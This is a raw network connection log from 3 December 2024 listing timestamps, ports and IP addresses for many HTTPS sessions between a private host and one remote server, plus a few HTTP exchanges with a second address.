Dec 3, 2024 10:06:06.064798117 CET	49761	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:06.064814091 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.141962051 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.142498970 CET	49757	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.142529011 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.142940044 CET	49757	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.142950058 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.436398029 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.438384056 CET	49758	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.438420057 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.438839912 CET	49758	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.438846111 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.542447090 CET	49724	80	192.168.2.4	199.232.214.172
Dec 3, 2024 10:06:07.547413111 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.548233032 CET	49759	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.548252106 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.549000025 CET	49759	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.549005032 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.594119072 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.594187021 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.594228983 CET	49757	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.595035076 CET	49757	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.595057964 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.595071077 CET	49757	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.595077038 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.595921993 CET	443	49760	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.596594095 CET	49760	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.596631050 CET	443	49760	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.597045898 CET	49760	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.597052097 CET	443	49760	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.599077940 CET	49762	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.599112034 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.599175930 CET	49762	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.599278927 CET	49762	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.599291086 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.662808895 CET	80	49724	199.232.214.172	192.168.2.4
Dec 3, 2024 10:06:07.662872076 CET	49724	80	192.168.2.4	199.232.214.172
Dec 3, 2024 10:06:07.846842051 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.847609997 CET	49761	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.847640038 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.848066092 CET	49761	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.848072052 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.883812904 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.883876085 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.886390924 CET	49758	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.889148951 CET	49758	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.889192104 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.889219046 CET	49758	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.889234066 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.891638041 CET	49763	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.891670942 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.891735077 CET	49763	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.891916990 CET	49763	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.891928911 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.982238054 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.982292891 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.982363939 CET	49759	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.982449055 CET	49759	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.982470989 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.982485056 CET	49759	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.982489109 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.985136032 CET	49764	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.985167980 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:07.985271931 CET	49764	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.985414028 CET	49764	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:07.985425949 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.039428949 CET	443	49760	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.039510012 CET	443	49760	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.039690018 CET	49760	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.041574955 CET	49760	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.041594982 CET	443	49760	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.047013998 CET	49765	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.047055006 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.047128916 CET	49765	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.047533035 CET	49765	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.047545910 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.291752100 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.291836977 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.291897058 CET	49761	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.295351028 CET	49761	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.295368910 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.295397043 CET	49761	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.295402050 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.318917036 CET	49766	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.318954945 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:08.319006920 CET	49766	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.319351912 CET	49766	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:08.319363117 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.445571899 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.458355904 CET	49762	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.458383083 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.458916903 CET	49762	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.458923101 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.673379898 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.673856974 CET	49763	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.673902035 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.674302101 CET	49763	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.674309015 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.701596022 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.702111006 CET	49764	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.702131987 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.702524900 CET	49764	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.702532053 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.892959118 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.893512964 CET	49765	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.893527985 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.893976927 CET	49765	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.893980980 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.898561001 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.898643017 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.898700953 CET	49762	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.898945093 CET	49762	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.898966074 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.898974895 CET	49762	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.898979902 CET	443	49762	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.904715061 CET	49767	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.904750109 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:09.904813051 CET	49767	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.905199051 CET	49767	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:09.905210018 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.034353018 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.034931898 CET	49766	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.034944057 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.035444975 CET	49766	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.035453081 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.117192030 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.117292881 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.117361069 CET	49763	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.117646933 CET	49763	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.117674112 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.117697001 CET	49763	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.117702961 CET	443	49763	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.121134043 CET	49768	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.121182919 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.121249914 CET	49768	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.121449947 CET	49768	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.121465921 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.137748957 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.137820959 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.138397932 CET	49764	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.138442039 CET	49764	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.138442039 CET	49764	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.138462067 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.138469934 CET	443	49764	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.162367105 CET	49769	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.162415028 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.162478924 CET	49769	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.162784100 CET	49769	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.162801981 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.347773075 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.347875118 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.347956896 CET	49765	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.348215103 CET	49765	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.348229885 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.348242998 CET	49765	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.348252058 CET	443	49765	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.351430893 CET	49770	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.351470947 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.351547956 CET	49770	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.351706028 CET	49770	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.351716995 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.471249104 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.471344948 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.471507072 CET	49766	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.471735001 CET	49766	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.471735954 CET	49766	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.471764088 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.471774101 CET	443	49766	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.474613905 CET	49771	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.474667072 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:10.474742889 CET	49771	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.474899054 CET	49771	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:10.474914074 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.744828939 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.749439955 CET	49769	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:11.749466896 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.749963999 CET	49769	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:11.749969959 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.750438929 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.752985954 CET	49767	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:11.753011942 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.754241943 CET	49767	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:11.754249096 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.904454947 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.905514002 CET	49768	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:11.905540943 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:11.906109095 CET	49768	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:11.906121016 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.190211058 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.190294027 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.190463066 CET	49769	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.190785885 CET	49769	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.190804958 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.190821886 CET	49769	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.190828085 CET	443	49769	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.191220045 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.192459106 CET	49771	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.192477942 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.192934990 CET	49771	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.192939997 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.194720984 CET	49772	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.194783926 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.194861889 CET	49772	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.194963932 CET	49772	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.194978952 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.195775986 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.204977989 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.205050945 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.205112934 CET	49767	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.205502987 CET	49770	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.205534935 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.205946922 CET	49770	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.205955982 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.206110954 CET	49767	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.206129074 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.206140995 CET	49767	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.206145048 CET	443	49767	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.223579884 CET	49773	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.223684072 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.223782063 CET	49773	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.223978996 CET	49773	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.224011898 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.349401951 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.349478006 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.349657059 CET	49768	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.349986076 CET	49768	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.350006104 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.350023031 CET	49768	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.350028038 CET	443	49768	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.358658075 CET	49774	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.358705997 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.358779907 CET	49774	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.359127998 CET	49774	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.359138012 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.626589060 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.626667976 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.626727104 CET	49771	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.627064943 CET	49771	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.627084970 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.627094984 CET	49771	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.627099991 CET	443	49771	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.631009102 CET	49775	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.631052971 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.631140947 CET	49775	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.631284952 CET	49775	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.631299019 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.649399042 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.649462938 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.649524927 CET	49770	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.649777889 CET	49770	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.649777889 CET	49770	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.649792910 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.649804115 CET	443	49770	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.652451038 CET	49776	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.652475119 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:12.652539968 CET	49776	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.652668953 CET	49776	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:12.652682066 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.010718107 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.015264034 CET	49773	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.015317917 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.016252995 CET	49773	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.016268015 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.040431023 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.042134047 CET	49772	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.042162895 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.042532921 CET	49772	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.042537928 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.207557917 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.211057901 CET	49774	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.211091042 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.211479902 CET	49774	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.211483955 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.411488056 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.415241957 CET	49775	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.415263891 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.415751934 CET	49775	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.415760994 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.434695005 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.438781977 CET	49776	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.438806057 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.439254045 CET	49776	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.439282894 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.455885887 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.455965042 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.456154108 CET	49773	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.456419945 CET	49773	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.456439972 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.456451893 CET	49773	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.456459045 CET	443	49773	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.460351944 CET	49777	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.460391045 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.460505962 CET	49777	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.460664034 CET	49777	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.460678101 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.494364023 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.494446993 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.494523048 CET	49772	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.494854927 CET	49772	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.494874001 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.494894028 CET	49772	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.494899988 CET	443	49772	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.498693943 CET	49778	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.498732090 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.498806000 CET	49778	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.498955965 CET	49778	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.498970985 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.662691116 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.662755013 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.662831068 CET	49774	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.679261923 CET	49774	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.679261923 CET	49774	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.679280996 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.679289103 CET	443	49774	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.728441000 CET	49779	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.728472948 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.728537083 CET	49779	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.754604101 CET	49779	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.754617929 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.857383013 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.857439995 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.857490063 CET	49775	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.872308969 CET	49775	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.872323036 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.872350931 CET	49775	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.872355938 CET	443	49775	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.878674030 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.878737926 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.878784895 CET	49776	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.880917072 CET	49776	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.880925894 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.880954981 CET	49776	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.880959034 CET	443	49776	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.882596016 CET	49780	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.882611036 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.882683992 CET	49780	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.883995056 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.884025097 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.884080887 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.884114027 CET	49780	443	192.168.2.4	13.107.246.63
